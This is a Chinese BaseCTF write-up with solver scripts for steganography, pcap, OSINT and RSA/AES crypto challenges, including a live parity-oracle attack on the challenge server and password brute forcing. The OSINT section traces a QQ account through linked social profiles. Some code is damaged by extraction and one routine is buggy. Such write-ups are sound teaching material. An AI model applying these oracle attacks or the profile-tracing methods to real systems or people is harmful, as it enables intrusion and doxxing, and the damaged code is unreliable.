


Misc


[Fin] osc

拿到附件后打开是个wav文件，文件头文件尾经检查均正常，没有附加额外信息。

拖到Audacity里查看频谱图，可以隐约的“CTF”三个字母，推测这个就是flag。



题目是osc（示波器），解题关键应该和波形有关，放大查看构成字符“F”的波形。



可以观察到波谷呈从“|”到“:”的变化（只看每个周期的前半段最低处），正好对应字符“F”从左向右用一个竖线扫描时，扫出的图案。推测字符是由每个波的前半个周期，波谷处形成的。

对左边八个已知字符（"BaseCTF{"）分析，结果与猜想均吻合。

直接上代码，经过适当的参数选取，可以将flag打印地好看一点：

```
import scipy.io.wavfile as wav
from PIL import Image, ImageDraw

rt, wavsignal = wav.read('flag.wav')
#print(len(wavsignal))#151791
offset = 10      #    y轴偏移矫正
length = 151791 // 20 // 50 - 51    #    粗略估算每个波的波长

image = Image.new("RGBA", (1500, 200), (0, 0, 0))

for i in range(offset, 151791, length):
    if (i + length - 1) // length >= 1500: break
    mx = 0
    padding = int((i // length) / 4.4)      #图像矫正
    subwav = wavsignal[i + padding : i + length + padding]
    for x, y in subwav:      #找到区间最大值 (其实是可以公式推算的 · 斜线斜率可测 · 但我懒得算 · 能跑出图就算胜利)
        mx = max(mx, y)
    for j in range(len(subwav)):
        y = mx - subwav[j][1]
        c = min(255, int(255 * (max(0, y) / (2 * mx + 1))))      #用该点y值距区间最大值的距离计算亮度
        L = len(subwav)
        image.putpixel(((i + L - 1) // L, j * 200 // L), (0, c, 0))

image.show()
# image.save('flag!!!.png')
```

打印图片如下 · 还算清晰 :




[Week2] 二维码1-街头小广告


水题 · 直接靠二维码强大的纠错能力 · 补全二维码后扫描 (但是注意别用微信/QQ自带扫描 · 会自动跳转 · 损失掉二维码的信息)

[Week2] 反方向的雪


将压缩包中的图片拖到minihex中检查 · 发现文件尾有异常 · 看着像逐字节反转的zip。用工具处理出隐藏的zip。



尝试打开，发现需要密码。题目说压缩包密码是6尾，而且根据注释“The_key_is_n0secr3t”可知，密码应该很简单，在字典中能查到。用Archive Password Recovery选字典模式爆破，爆出密码是123456。



解压后打开flag.txt，看起来是空的，但是全选后能看到似乎隐藏了一些空白字符。



由题目关键词“雪”可知，这应该是snow隐写，找snow.exe，密钥用n0secr3t试试，得到flag：


```

PS E:\Desktop\temp\新建文件夹 (5)> .\SNOW.exe -p n0secr3t -C rf.txt
BaseCTF {Y0u_g0t_1t!}
PS E:\Desktop\temp\新建文件夹 (5)>

```

[Week2] 海上又遇了鲨鱼

打开题目附件，是个wireshark流量包，打开流量，分析后可以知道是有人在爆破密码，然后下载了flag.zip。



提取flag.zip后，发现需要密码，根据压缩包注释“repeat password”，猜测密码和爆破出来的账号的密码是一样的，回到流量包可以找到这条记录，输入密码后即可取得flag：

```

66 Request: USER admin
77 Response: 331 Password required
60 40220 → 21 [ACK] Seq=13 Ack=51 Win=65488 Len=0
72 Request: PASS Ba3eBa3e!@#
75 Response: 230 User logged in.

```

[Week3] 白丝上的flag

打开附件，可以看到一个python加密脚本，一个原图，一个加密后的图。

分析加密脚本逻辑如下：

选取(1, 1)的alpha值作为初始iv，然后遍历每个像素进行如下更新：

```

r_ <- g
g_ <- b
b_ <- a
a_ += r + g + b + iv
iv += g + b + a

```

(r, g, b, a, iv均在模 256 意义下更新)

那么可以写出解密流程如下：

倒着遍历每个像素进行如下更新：

```

r -> g_
g -> b_
b -> a_

```

```
a - iv => r_
iv -= r + g + b
```

iv值不知道？好像不影响解密。

exp如下：

```
from PIL import Image
from random import randint
import sys

iv = 0
def rez_add(r, g, b, a):#r <= g, g <= b, b <= a, a += r + g + b + iv, iv += g + b
+ a
    global iv
    g_ = r
    b_ = g
    a_ = b
    r_ = a - iv
    iv -= r + g + b


    r_ = (r_ + 256 * 3) % 256
    iv = (iv + 256 * 3) % 256
    return r_, g_, b_, a_

def rconfuse(data):
    r,g,b,a = data
    for _ in range(8):#加8次
        r,g,b,a = rez_add(r,g,b,a)
    return r,g,b,a

def rconfuse_image(flag):
    #global iv
    #iv = 0#flag.getpixel((1,1))[0]

    img = Image.new('RGBA', (flag.width, flag.height))
    for w in range(img.width - 1, -1, -1):
        for h in range(img.height - 1, -1, -1):
            img.putpixel((w, h), rconfuse(flag.getpixel((w,h))))
    return img

if __name__ == '__main__':
    #global iv
    iv = 0
    for i in range(256):
        #global iv
        iv = i
        print("processing " + str(i) + "...")
        flag = Image.open("en_image.png")
        img = rconfuse_image(flag)
        img.save("de_image"+str(i)+".png")
```



[Week3] 纯鹿人

附件是个docx文件，移开图片，可以看到图片后隐藏着一段文字，是base64编码，解密出“password：ikunikun”，似乎是压缩包密码



猜测压缩包可能藏在图片中，把docx后缀改成zip，无损提取出图片，分割出zip，然后解压即可拿到flag

[Week4] 二维码2-阿喀琉斯之踵

打开附件，有两张二维码图片，其中hint似乎想表明，原二维码有些地方被涂黑了。

直接打开画图工具擦掉hint被标记的地方。并且要注意到一个事实：在二维码中，左下角的右上方有一个像素一定是黑的，把这个地方涂黑。就可以扫出flag（有点难扫出来，可以把图片缩小一点扫）



[Week4] 小cheny的社交

开盒能力锻炼题 ?

打开图片，拖入Minihex检查，无附加信息。用Stegsolve.jar打开图像，在Alpha plane 1发现密文：



是Base64编码，用cyberchef一键解密，发现一串很像二进制数的东西

```
MDAxMTAwMTEgMDAxMTEw  
MDAgMDAxMTAxMDAgMDAx  
MTEwMDAgMDAxMTAxMTAg  
MDAxMTAxMDAgMDAxMTAx  
MDEgMDAxMTAwMTAgMDAx  
MTAwMDAgMDAxMTAxMTE=
```

Output

```
start: 94      time: 1ms  
end: 93       length: 89  
length: -1    lines: 1  
  
00110011 00111000 00110100 00111000 00110110 00110100 00110101 00110010 00110000  
00110111
```

再作为bin解密一次，得到一串数字

The screenshot shows a user interface for decoding binary data. On the left, under 'Recipe', there are two sections: 'From Base64' and 'From Binary'. In 'From Base64', the alphabet is set to 'A-Za-z0-9+/=' and the 'Remove non-alphabet chars' checkbox is checked. In 'From Binary', the delimiter is set to 'Space' and the byte length is set to 8. On the right, the 'Input' section contains a long string of characters: MDAxMTAwMTEgMDAxMTEwMDAgMDAxMTAxMDAgMDAxMTEwMDAgMDAxMTAxMTAgMDAxMTAxMDAgMDAxMTAxMDEgMDAxMTAwMTAgMDAxMTAwMDAgMDAxMTAxMTE=. The 'Output' section shows the resulting decimal number: 3848645207.

结合题意猜测，这个应该是社交账号，作为QQ号试试，发现确实可以搜到一个半星小号：

04:49 1 170 KB/S HD 5G 5G 69 ↗

个人资料



爱意随风起
QQ号: 3848645207

21

♀ 女 | 18岁 | 7月6日 巨蟹座 >

625 UIP ★ >

TA还未开通任何特权服务 >

不想上学 >

你们的关系标识



43%

她的QQ空间 >

Övo ÖvO O.o
ÖwÖ Ö_o Ö.o
Öwo Ö.o Ö...

加好友

三 □ ◀

04:49 1 16.0 KB/S HD 5G 5G 70 ↗

爱意随风起

07月19日20:24

...



starrysky1005 UP主

1288粉丝

...



◎ 浏览104次



QQ小程序

iPhone



说点什么吧...



爱意随风起

...

编辑于07月19日17:48

Övo ÖvO O.o ÖwÖ Ö_o Ö.o Öwo Ö.o Övo Öv
Ö o_o o.o Öwo O.O öwö o_Ö o_O ÖvÖ Övo
owö Ö.Ö Öwo

◎ 浏览199次



iPhone

加好友



在空间中发现了一个b站视频链接，以及一个意义不明的字符串，为“真嘟假嘟语”，上网查找相关翻译器翻译（我用的是<https://zdjd.vercel.app/>）：

尊嘟假嘟翻译器O.o

这是一个尊嘟语和人语互相翻译的工具。可以把翻译出的尊嘟语发给你不好好说话的朋友。

本工具为zdjd的演示demo。

bug反馈请联系@刀刀的新家。

翻译为

人语 尊嘟语

请输入尊嘟语

Övo 0v0 O.0 OwÖ Ö_0 Ö.o Öw0 Ö.o Öv0 0vÖ 0_0
0.o Öw0 O.O 0w0 o_Ö o_O ÖvÖ Öv0 ow0 Ö.Ö Owo


翻译

尊嘟假嘟语

BaseCTF{h4h_y0u_

复制

只有半个flag，推测剩下一半要去b站那边找，在b站简介中发现了cheny师傅（和题目cheny相对应），进其主页，查看动态，可以看到7月19号有一条意义不明的动态，日期正好和题目放出来的时间差不多

[简介](#)

评论 152

点我发弹幕



starrysky1005

1352粉丝 4视频

+ 关注

AWD PWN脚本和工具

1.3万 4 2024年4月26日 18:49 1人正在看

BV1Fx4y1r7n2 未经作者授权禁止转载

代码见：

<https://starrysky1004.github.io/2024/04/26/awd-pwn/awd-pwn/#/>

感谢z1r0师傅的脚本和cheny师傅@是cheny不是辰雨 找的工具ovo

AWD

PWN



396



不喜欢



140



548



161



南方帕科 站内过审视频

GuCATs

874 · 成长学习

⋮



你想有多PWN(不再更新)



36

825
粉丝260
关注

+关注

是cheny不是辰雨 LV5 年度大会员

身为舰长，旅行者，指挥官，御主，博士的我呀，一点 收起
都不忙

IP 属性：江苏

346221335

主页 动态 投稿

 是cheny不是辰雨 7月19日 002845 ·  :

加油

hts/wwcboscmvo1-hntp:/w.nlg.o/iltcey
tips:
hts/wwzj.satp:/w.ddai/

转发 评论  6

 是cheny不是辰雨 7月16日 · 投稿了视频 002845 ·  :

绝区零UP主激励计划

三 □ <

观察后不难发现，这实际上就是一个网址，按奇偶分成了两个字符串，数据量不大，手动复原后可以发现其是个个人blog，在主页可以看到一篇7月19发布的文章，内容还是熟悉的“尊嘟假嘟语”

The screenshot shows a blog post on the cnblogs platform. The header bar includes links for Atcoder, vjudge, 牛, HDU, 网络流 (最大流和费...), 新标签页, and 最短。A search bar is also present. The main content area features a large anime-style illustration of a character with long purple hair and a small circular profile picture of the same character. The user's name is 404cheny, followed by a '+关注' button. Below the name are statistics: 年龄: 9个月, 粉丝: 2, 关注: 4. There are four buttons at the bottom: 收藏, 闪存, 小组, and 博问. The post itself has two sections. The left section contains the text: 尊嘟假嘟? 假嘟尊嘟! and a summary: 摘要: o.O owO ovo Owo o_0 ow0 o.0 0wO o.O OvO Öw0 0_O o_O Ö.Ö owo O_O. The right section has the title [CISCN 2022 初赛]login_normal 和 a summary: 摘要: 尝试做了一下前年的ciscn, 好像可视化shellcode的题 但代码审计也会的这一段功能是告诉我们命令的匹配方式的 unsigned __int64 __fastcall subYTE *a1) { char *sa; // [rsp+8h] [rbp]. Below each section are interaction counts: 43 comments, 2 likes, and edit/read buttons.

再次用翻译器即可获取剩下一半flag：

尊嘟假嘟翻译器O.o

这是一个尊嘟语和人语互相翻译的工具。可以把翻译出的尊嘟语发给你不好好说话的朋友。

本工具为zdjd的演示demo。

bug反馈请联系@刀刀的新家。

翻译为

人语 尊嘟语

请输入尊嘟语

```
o.O owO ovo Owo o_0 ow0 o.0 0wÖ o.O OvÖ Öw0  
0_0 o_0 Ö.Ö owo O_0
```

翻译

尊嘟假嘟语

```
kn0w_ch3ny}
```

复制

好绕

Crypto

[Fin] の歪来

打开附件，是个py加密脚本：

```
from Crypto.Util.number import *
from gmpy2 import *

flag=b''
assert len(flag)==28
m=bytes_to_long(flag)

n=getPrime(2048)
e=32

c=pow(m,e,n)
```

```
print("n =",n)
print("e =",e)
print("c =",c)
```

代码十分短，注意到e特别小，而且是2的幂次。考虑对密文进行五次开方，枚举32个可能解，即可找到flag

exp如下：

```
from random import *
from Crypto.Util.number import *
from gmpy2 import *

def legendre(a, p):
    symbol = pow(a, (p - 1) // 2, p)
    if symbol == p - 1:
        return -1
    return symbol

def tonelli(a, p):                      #Tonelli
    if a == 0 or legendre(a, p) != 1:
        return 0
    q = p - 1
    s = 0
    while q % 2 == 0:
        q //= 2
        s += 1
    if s == 1:
        return pow(a, (p + 1) // 4, p)

    z = 2
    while legendre(z, p) != -1:
        z += 1

    m = s
    c = pow(z, q, p)
    t = pow(a, q, p)
    r = pow(a, (q + 1) // 2, p)

    while t != 1:
        t2 = t
        i = 0
        while t2 != 1 and i < m:
            t2 = pow(t2, 2, p)
            i += 1
        b = pow(c, 2 ** (m - i - 1), p)
        m = i
        c = (b * b) % p
        t = (t * c) % p
        r = (r * b) % p
```

```
return r

# $x^2=c \bmod p$ 
def Cipolla_algorithm(c,p):           #Cipolla
    # 定义模p复数域上的乘法
    def multiplication(x1,y1,x2,y2,w,p):
        x=(x1*x2+y1*y2*w)%p
        y=(x1*y2+x2*y1)%p
        return x,y

    # 获取w,使得 $w=-1 \bmod(p)$ ,w是复数元的平方
    def get_w(c,p):
        a=randint(1,p)
        w=pow(a, 2) - c
        while pow(w,(p - 1)//2,p)!=p-1:
            a=randint(1,p)
            w=pow(a,2)-c
        return w,a

    #主体部分
    w,a=get_w(c,p)
    power=(p+1)//2
    x1=a
    y1=1
    x=1
    y=0

    while(power!=0):
        if(power!=(p+1)//2):
            x1,y1=multiplication(x1,y1,x1,y1,w,p)
        if(power & 1):
            x,y=multiplication(x,y,x1,y1,w,p)
        power>>=1
    return x

n =
1736324922687990967566762953397223379856631366942056315529691802017544697345642845
4735263489044575257132690882883587342817653451483222705760704890265900885255972067
3491045799388085916083829926805333275180708782974383398849960593095493009425701047
4734875176671183398370597988071417470904733514773999185038524415923550437555914428
3494800573079055547597410783559965162216203307100248001158445665271438067670522510
9910476884141766599071644365394912056379336816588142675673852320976795542828635951
8342250449435720518009382878641506056500318396695927325303941698681644407315872319
1290806413175478175738266995214965220231649
e = 32
c =
6840453756562205147103219479843999687625029691496635689045074720240615321966887831
6420351241984454853202650971913347207985220974220841413320441117645583361747438193
4795291477520680973719805822036238134948102789360914469705446507077929032922269623
6671374412706789862193871687821041053566873553189148668599841084370137084893575567
6229724764097551873881211779232172085520498769440557459129875363900754172610168093
3553936298498419026479174479064085820103820798204356920406271472289210513479428041
7020318408200038144689432974312283915592134911446185412636709207566063730723406969
727969141426530341540330398465744403597273
```

```

ss = set()
ss.add(c)
for i in range(5):
    ss_ = set()
    for j in ss:
        s = set()
        while len(s) != 2:# 保证开方出来的两个结果均被记录
            s.add(Cipolla_algorithm(j, n))
        for k in s:
            ss_.add(k)
    ss = ss_
    print(str(i + 1) + "轮结束")
print(len(ss))
for i in ss:# 枚举全部32个解
    m = long_to_bytes(i)
    print(m)

```

```

a8gXl\xc0\xe9\xc0\xc1\x0c\x8d\xdc\xf6?\x
6>9\x0c\xabfI\xfc|\x eb\xab.\x af\xbe\xf5\:
xbaj\xf0\x9e0\x0b\r\x04F$\x ee\xdf\x98\xai
\x02\xfaH\x8bQ\x a7\x a6\x f30\x99J\x e1\x bb\:
\x98\xca\x87\x b0\x b0\n\x9a\x eb~}\x bd\x9:
1\x80P\xb7X;\x e0\x99q\x a3U\x a7\x a2\x9e\xl
\x1d\r\xf50\x8e'
b'BaseCTF{e_d0u_hu1_4_w@i_lal}'
b'Dz\xfd\n\\x88\x8c\x a61%\x ce\x1d`\x fe\:
9a\xcb\x9c\xcc\xcd\x84\xc3\xae\xfc\xcf\x
\x1f\x8a\x e0\x cc\x b5cs\x07\x048\x8a\x e0:F
\x07\xfbE\xd9Qi\x a6\x d3\x14\x99\x a5\x95\:
\x98\x1b>\x99j\x bbyww\x9a\x f3\x f6\x c5|\x
\xfaN8\x7f7\xf6\xde\x f8\x a0\x9c\x f4o\x e-
"\x15Bn/\x ad\x u2\x u1\x ad\x u2\x u1\x u1'

```

[Fin] 猜猜看

分析题目给的py脚本可知服务端的核心逻辑如下：

```

def handle(self):
    assert len(flag)==45
    self.send(b"hello.")

    m=bytes_to_long(flag)
    m=bin(m)[2:]

    length=len(m)

    x=np.array([int(i) for i in m])
    T=np.array([[random.getrandbits(1) for _ in range(length)] for __ in
range(length)])

    y=np.dot(x,T)
    self.send(str(list(y)).encode())

```

```

while True:
    user_input=ast.literal_eval(self.recv().strip().decode('utf-8'))
    if isinstance(user_input,list):
        try:
            mat=np.array(user_input)
            res=list(np.dot(mat,T))
            self.send(str(res).encode())
        except:
            self.send(b'wrong!!!')
    else:
        self.send(b'wrong!')
        break

self.send(b"\nConnection has been closed  =.=  ")
self.request.close()

```

服务端将flag的二进制按位填入一个长度为flag二进制位数(n)的向量x里，然后随机生成了一个n*n的加密矩阵T，右乘向量x加密，并返回加密后的向量y

接着从客户端接收一个长度也为n的向量，左乘加密矩阵T，并返回结果。

显然，我们可以构造 $[1,0,0,\dots,0], [0,1,0,\dots,0], \dots, [0,0,0,\dots,1]$ 来依次获取加密矩阵T的每一行，exp如下：

```

from pwn import *
from Crypto.Util.number import *

import socketserver
import numpy as np
import random
import ast
import os

host = remote('challenge.basectf.fun', 30493)
y = []
T = []

def recv():
    y = ""
    while y.find("]") == -1:
        y += host.recv().decode()
    return y

print(host.recv().decode())
y = eval(recv())
print("recvng...")

empty = [0 for i in range(359)]
for i in range(359):
    empty[i] = 1

```

```

host.send(str(empty).encode())
empty[i] = 0

b = recv()
print(i, len(b.split(",")))

T.append(eval(b))

T_ = np.linalg.inv(np.array(T))
res = np.dot(y,T_)

m = 0
for i in res:
    m *= 2
    if i > 1e-10:
        m += 1
print(m)
flag = long_to_bytes(m)
print(flag)#b'BaseCTF{fe242f9f-36d0-4011-bb6a-600cc84b6730}'

```

```

354 359
355 359
356 359
357 359
358 359
6089758719984683342826499862849879106504454755483811666223677972545:
9385008241252599728306335869
b'BaseCTF{fe242f9f-36d0-4011-bb6a-600cc84b6730}'
```

>>>

[Fin] 老涩批了

分析题目给的py脚本可知服务端的核心逻辑如下：

```

def handle(self):
    p=getPrime(256)
    q=getPrime(256)
    n=p*q
    e=65537
    d=inverse(e,(p-1)*(q-1))

    text=b'BaseCTF{' +str(uuid.uuid4()).encode() +b'}'

    m1=bytes_to_long(text[:len(text)//2])
    c1=pow(m1,e,n)

    m2=bytes_to_long(text[len(text)//2:])
    c2=pow(m2,e,n)

    self.send(b'n = '+str(n).encode())
    self.send(b'e = '+str(e).encode())

```

```

self.send(b'c1 = '+str(c1).encode())
self.send(b'c2 = '+str(c2).encode())

while True:
    select=self.recv().strip()
    if select==b'1':
        c=int(self.recv().decode().strip())
        m=pow(c,d,n)
        res=m&1
    elif select==b'2':
        c=int(self.recv().decode().strip())
        m=pow(c,d,n)
        res=long_to_bytes(m,64)[0]
    elif select==b'3':
        user_text=self.recv().strip()
        if user_text==text:
            self.send(flag)
            break
        else:
            self.send(b'try again')
            break
    else :
        self.send(b'wrong')
        break
    self.send(str(res).encode())
self.send(b"\nConnection has been closed  =.=  ")
self.request.close()

```

大致逻辑：先将随机生成的假flag分割成左右两部分m1, m2，分别用随机生成的p, q进行rsa加密成c1, c2，返回客户端n, e, c1, c2的值。然后应答客户端的三种询问操作：

- 询问1将返回询问的密文c解密后的m的奇偶性
- 询问2将返回询问的密文c解密后的m，在m前尽可能少地补0，使得m总长度最后为64的倍数，然后返回m的第一个字节
- 询问3将验证用户是否推出随机生成的假flag，如果验证通过，返回用户真flag，结束通信；验证不通过也会直接结束通信

询问1恰好可以直接套parity oracle攻击的流程，但是最后解密出来的两个原文字符串不知道为什么最后一个字符的信息都是无效的乱码。经过本地模拟随机flag的生成流程，可以发现两个字符串最后一个字符其实是固定的：

```

>>> text=b'BaseCTF{'+str(uuid.uuid4()).encode()+'}'
>>> text
b'BaseCTF{ae993969-a309-49c4-8bb1-eda80e646b91}'
>>> len(text)
45
>>> tt=b'BaseCTF{cfac5b8-1291-42e9-a9ad-6cb88d8980fec}'
>>> len(tt)
46
>>> print(len(text[len(text)//2:]))
23
>>> text[len(text)//2:]
b'49c4-8bb1-eda80e646b91'
>>> text[:len(text)//2]
b'BaseCTF{ae993969-a309-'
>>>

```

那么直接忽略尾部字符，自己补上正确的字符，然后拼接并发送，即可接收到flag，exp如下：

```

from pwn import *
from Crypto.Util.number import *
import math
import gmpy2

import socketserver
import numpy as np
import random
import ast
import os

import time

host = remote('challenge.basectf.fun', 45442)

def recv():
    y = ""
    while len(y.split("\n")) != 4 + 1:
        y += host.recv().decode()
    return y

def send(t):
    host.send(t.encode())

def decrypt_io(c):
    host.send("1".encode())
    host.send(str(c).encode())

    tmp = host.recv()[:-1].decode()
    print(tmp)
    return int(tmp)

def guess_m(n, e, c):# parity oracle攻击
    k=1
    lb=0

```

```

ub=n
while ub!=lb:
    tmp = c * gmpy2.powmod(2, k*e, n) % n
    if decrypt_io(tmp) == 1:
        lb = (lb + ub) // 2
    else:
        ub = (lb + ub) // 2
    k+=1
print(ub,len(long_to_bytes(ub)))
print(long_to_bytes(ub)[:-1]) # 忽略最后一个无意义字符
return long_to_bytes(ub)[:-1]

raw = recv()
raw = raw.split("\n")
n = int(raw[0][4:])
e = int(raw[1][4:])
c1 = int(raw[2][4:])
c2 = int(raw[3][4:])
print(n)

c1_ = c2
HighByte = 0
offset = 0

flag = guess_m(n, e, c1) + b'-' + guess_m(n, e, c2) + b'}'
print(flag)

host.send(b'3')
host.send(flag) #发送假flag
print(host.recv()[:-1].decode()) #接收真flag
input("press any key to continue...")

```

```

0
5017351775095069123511639710111874036520001499358049123 23
b'4b3e-a3cc-381489839c83'
b'BaseCTF{f5495648-60a8-4b3e-a3cc-381489839c83}'
BaseCTF{038e065d-a9ae-49b0-93e6-91d59e87bc4b}
press any key to continue...

```

[Week3] exgcd

题目附件如下：

```

from Crypto.Util.number import *

flag=b'BaseCTF{}'
m=bytes_to_long(flag)

p=getPrime(1024)
q=getPrime(1024)

```

```

n=p*q
e1=3747
e2=2991

c1=pow(m,e1,n)
c2=pow(m,e2,n)

print("n =",n)
print("e1 =",e1)
print("e2 =",e2)
print("c1 =",c1)
print("c2 =",c2)

"""

n =
2785535016309344389098300224160762911974453964316577635899346907873152166867742148
3556132628708836721737685936980427467856642738196111748018522018598646125626995613
1690011115047063637421946647748236047389394115128614417426831572758185009918346517
6936817832008898275962612202995651515943542488285507503240066712037607561889675269
4718491438251810609878021717559466498493103257912108879328270813061231904227056671
6213636693884963831369645498794595620045690591850782048673462507334896630154178799
1543615780694202169392020607171553843063349401292365146919604854630959294690160980
3631751035364478773126967010589504275776307
e1 = 3747
e2 = 2991
c1 =
2442657902406251866503195821611061983265360234320548845429865953386922050192318479
3828421371206493659949730138867555889074137026401207985428160803910695088081370233
5719059153495891465043747104444687157013050610609345194108860109290092972264964482
1881974228799036443634918898772363744959057909239110071405658996789460995053702183
8172987840638735592599678186555961654312442380755963257875487240962193060914793587
7127336011682048599170012699284876339545562219876329341902173675026772859065213851
6966964497719255614578230352637549148473635279918074740316134313066366186741338022
2714012960607473395828938694285120527085083
c2 =
6932145147126610816836065944280934160173362059462927112752295077225965836502881335
5658816073853289908818654366909040565776758856975080582895703339338375155269157071
2112576672040715313916075134335221142190187605122856609303892962504261925016856550
2734932197817082848506826847112949495527533238122893297049985517280574646627011986
4035781669527893174615814091618738142030237366043940858757787748343147770460869218
5237734859099838164824162912440851487511007307385191385732967926851922943609266095
9841766848676678740851087184214283196544821779336090434587905158006710112461778939
184327386306992082433561460542130441825293
"""

```

一眼共模攻击 · 但是 e_1, e_2 不互质 · 根据简单数论知识可以找到一对 s, t 使得

$$se_1 + te_2 = \gcd(e_1, e_2)$$

通过共模攻击 · 可以求出 :

$$c' = c_1^{se_1} c_2^{te_2} \equiv m^{\gcd(e_1, e_2)} \pmod{n}$$

而 $\gcd(e_1, e_2)$ 的值很小（为3），再考虑低指数加密攻击，即可求出flag

exp如下：

```

n =
2785535016309344389098300224160762911974453964316577635899346907873152166867742148
3556132628708836721737685936980427467856642738196111748018522018598646125626995613
1690011115047063637421946647748236047389394115128614417426831572758185009918346517
6936817832008898275962612202995651515943542488285507503240066712037607561889675269
4718491438251810609878021717559466498493103257912108879328270813061231904227056671
621363669384963831369645498794595620045690591850782048673462507334896630154178799
1543615780694202169392020607171553843063349401292365146919604854630959294690160980
3631751035364478773126967010589504275776307

e1 = 3747
e2 = 2991
c1 =
2442657902406251866503195821611061983265360234320548845429865953386922050192318479
3828421371206493659949730138867555889074137026401207985428160803910695088081370233
5719059153495891465043747104444687157013050610609345194108860109290092972264964482
1881974228799036443634918898772363744959057909239110071405658996789460995053702183
8172987840638735592599678186555961654312442380755963257875487240962193060914793587
7127336011682048599170012699284876339545562219876329341902173675026772859065213851
6966964497719255614578230352637549148473635279918074740316134313066366186741338022
2714012960607473395828938694285120527085083

c2 =
6932145147126610816836065944280934160173362059462927112752295077225965836502881335
5658816073853289908818654366909040565776758856975080582895703339338375155269157071
2112576672040715313916075134335221142190187605122856609303892962504261925016856550
2734932197817082848506826847112949495527533238122893297049985517280574646627011986
4035781669527893174615814091618738142030237366043940858757787748343147770460869218
5237734859099838164824162912440851487511007307385191385732967926851922943609266095
9841766848676678740851087184214283196544821779336090434587905158006710112461778939
184327386306992082433561460542130441825293

r, s1, s2 = gmpy2.gcdext(e1, e2)#共模攻击
m = (pow(c1, s1, n) * pow(c2, s2, n)) % n
print(m)

#c3 =
1485196718668735788793110436784387400599733308052967956879884867512477462639638695
1125457645089954605149486033605473291716724977051508146917839969707029086668012020
1981221644451216688580814183333004401925074333605214214671653363895430310078787143
9994237801792032691401731702584368351298915398549768267854806159522040046967013936
889194432724429752849752027998915113891375920069101334335859705694989973282650491
8291699800196903483842454053095190338383469976543420505622304597238199953550781227
7439094486430633685345484666166684635341849158132636689020830717161534004592639170
3365295842519938250048451319780371910509328

c3 = m
e3 = r

def de(c, e, n):#低指数加密攻击
    k = 0
    while True:

```

```
m = c + n*k
result, flag = gmpy2.iroot(m, e)
if True == flag:
    return result
k += 1
print(k)

m=de(c3,e3,n)
print(m)
print(long_to_bytes(m))#b'BaseCTF{feb7e1ae-a8f7-4fc4-8d6d-945a45cc3f6d}'
```

[Week3] ez_log

题目附件如下：

```
from Crypto.Util.number import bytes_to_long as b2l, long_to_bytes as l2b,
getPrime
from Crypto.Cipher import AES
from random import randint

def encrypt(KEY):
    cipher= AES.new(KEY,AES.MODE_ECB)
    encrypted =cipher.encrypt(flag)
    return encrypted
def decrypt(KEY):
    cipher= AES.new(KEY,AES.MODE_ECB)
    decrypted =cipher.decrypt(enc)
    return decrypted
pad = lambda x: x+b'\x00'*(16-len(x)%16)

flag = b"flag{test_flag}"

def encrypt(KEY):
    cipher= AES.new(KEY,AES.MODE_ECB)
    encrypted =cipher.encrypt(flag)
    return encrypted
def decrypt(KEY):
    cipher= AES.new(KEY,AES.MODE_ECB)
    decrypted =cipher.decrypt(enc)
    return decrypted

flag = pad(flag)
x = randint(10 ** 7, 10 ** 8)
y = randint(10 ** 7, 10 ** 8)
n = getPrime(28)
z = pow(y, x, n)

enc = encrypt(pad(l2b(x)))
print(f'enc = {b2l(enc)}')
print(f'y = {y}')
```

```
print(f'n = {n}')
print(f'z = {z}')
```

用x作为秘钥对flag进行了AES加密，想解码只能去想办法拿到x，而想要x，就得解出 $y^x \equiv z \pmod{n}$ ，也就是离散对数（模意义下的对数），直接用BGS算法秒了

exp如下：

```
#a^x = b mod m
def BGS(a, b, m):
    mp = []
    r = b * a % m
    t = int(m**0.5 + 1)
    for B in range(1, t + 1):
        mp[r] = B
        r = (r * a) % m
    at = pow(a, t, m)
    l = at
    for A in range(1, t + 1):
        if l in mp:
            return A * t - mp[l]
        l = (l * at) % m
    return -1

y = 82941012
n = 228338567
z = 51306718
x = BGS(y, z, n)#38806815

enc =
3341657091371650349229735204131785842034951095438124975153774389802452710187245470
6181188441210166165803904185550746
enc = l2b(enc)
flag = decrypt(pad(l2b(x)))
print(flag)#b'BaseCTF{BF3DCONZ-67FE-ENZU-385S-
CSNI13B2}\x00\x00\x00\x00\x00\x00\x00'
```

[Week3] wiener?

题目附件如下：

```
from Crypto.Util.number import *
import decimal
flag=b"BaseCTF{}"
m = bytes_to_long(flag)

p = getPrime(1024)
q = getPrime(1024)
n=p*q
```

```

e=65537
c=pow(m,e,n)

print("e =",e)
print("c =",c)

decimal.getcontext().prec = 648
P=decimal.Decimal(p)
Q=decimal.Decimal(q)
leak=decimal.Decimal((3*P*Q-1)/(3*Q*Q))
print("leak =",leak)

"""
e = 65537
c =
1103274857362342635963265965711480704471213858631671025098560680925270046149050448
7308849626514319062562557448839550994242999334882617031487618174168038491566640081
8401117477657538780875643188332738787554165849629216699114442259593352747533918009
9553102321227683866520225700764035423704329112919734888491495666359724009466220792
9658519596987351984403258345205873566463643624175318315064440456858013874962784792
5644802869046206636951946898394318080829762483785091813271015573809788495459066919
0389666209552028896410179696509512986146705977555611061600788984624093621938137921
9605528051627402300580239311202137582442057
leak =
0.82937434478087705383876025134535909731154081199346334962563008547289281495984324
8358036249898871908548743719153319438638517170060651237635838827482534816419091949
2055849512925173033304529100127496744753292356892294987524253796110839795182577344
7399218683147420840081328388704569114548123772657882755919882846946234334234328772
0369159899636816373592067698883361360269728719786071024354151682314608072902347335
6910127136298165794962528962608693828068388571942936183322865004276940774000724285
0689782968970387298595477210567299229333466848535878586377974915398172190013531816
6811250762946069962348114491411585418993494561587403918162681937152503739843
"""

```

题目是wiener · 考虑wiener攻击 · 由于p, q很大 · leak约等于p/q · 对leak进行连分数展开 · 当展开的p, q的二进制长度均为1024时 · 尝试解密 · 即可解出flag

exp如下：

```

from Crypto.Util.number import *
import decimal
import gmpy2

def continuedFra(x, y):
    """计算连分数
    :param x: 分子
    :param y: 分母
    :return: 连分数列表
    """
    cf = []

```

```
while y:
    cf.append(x // y)
    x, y = y, x % y
return cf

def gradualFra(cf):
    """计算传入列表最后的渐进分数
    :param cf: 连分数列表
    :return: 该列表最后的渐近分数
    """
    numerator = 0 # 分子
    denominator = 1 # 分母
    for x in cf[::-1]:
        # 这里的渐进分数分子分母要分开
        numerator, denominator = denominator, x * denominator + numerator
    return numerator, denominator

def getGradualFra(cf):
    """计算列表所有的渐近分数
    :param cf: 连分数列表
    :return: 该列表所有的渐近分数
    """
    gf = []
    for i in range(1, len(cf) + 1):
        gf.append(gradualFra(cf[:i]))
    return gf

e = 65537
c =
1103274857362342635963265965711480704471213858631671025098560680925270046149050448
7308849626514319062562557448839550994242999334882617031487618174168038491566640081
